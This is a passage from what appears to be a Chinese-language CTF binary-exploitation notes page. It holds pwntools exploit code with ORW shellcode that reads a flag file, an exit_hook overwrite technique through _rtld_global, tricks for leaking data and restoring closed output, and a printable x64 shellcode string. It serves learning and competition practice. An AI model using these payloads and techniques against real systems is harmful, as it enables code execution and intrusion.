p.sendline(shellcode)

shellcode1 = asm('''
xor rax, rax;
mov rax, 2;
mov rdi, 0x602008;
xor rsi, rsi;
xor rdx, rdx;
syscall;
mov rdi, rax;
xor rax, rax;
mov rsi, 0x602300;
mov rdx, 0x100;
syscall;
mov rax, 1;
mov rdi, 1;
syscall;
''')
#gdb.attach(p)
payload = "./flag\x00\x00"*2 + shellcode1
p.sendline(payload)
p.interactive()

exit_hook

利用

获取libc_base后

1
p _rtld_global

查看__rtld_lock_lock_recursive 和 __ rtld_lock_unlock_recursive的地址计算偏移写og

小trick

当使用scanf(“%ld”,&var);时如果scanf读入的是字母等非数字,那么var的内容不会改变,如果存在printf(var);则可以泄露原本的内容
当关闭输出后,有两种方式可以继续输出
1.将stdout->fileno改为2,
2.将bss段上的stdout指针改为stderr

shellcode

可见字符串shellcode

1
2
shellcode_64 = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"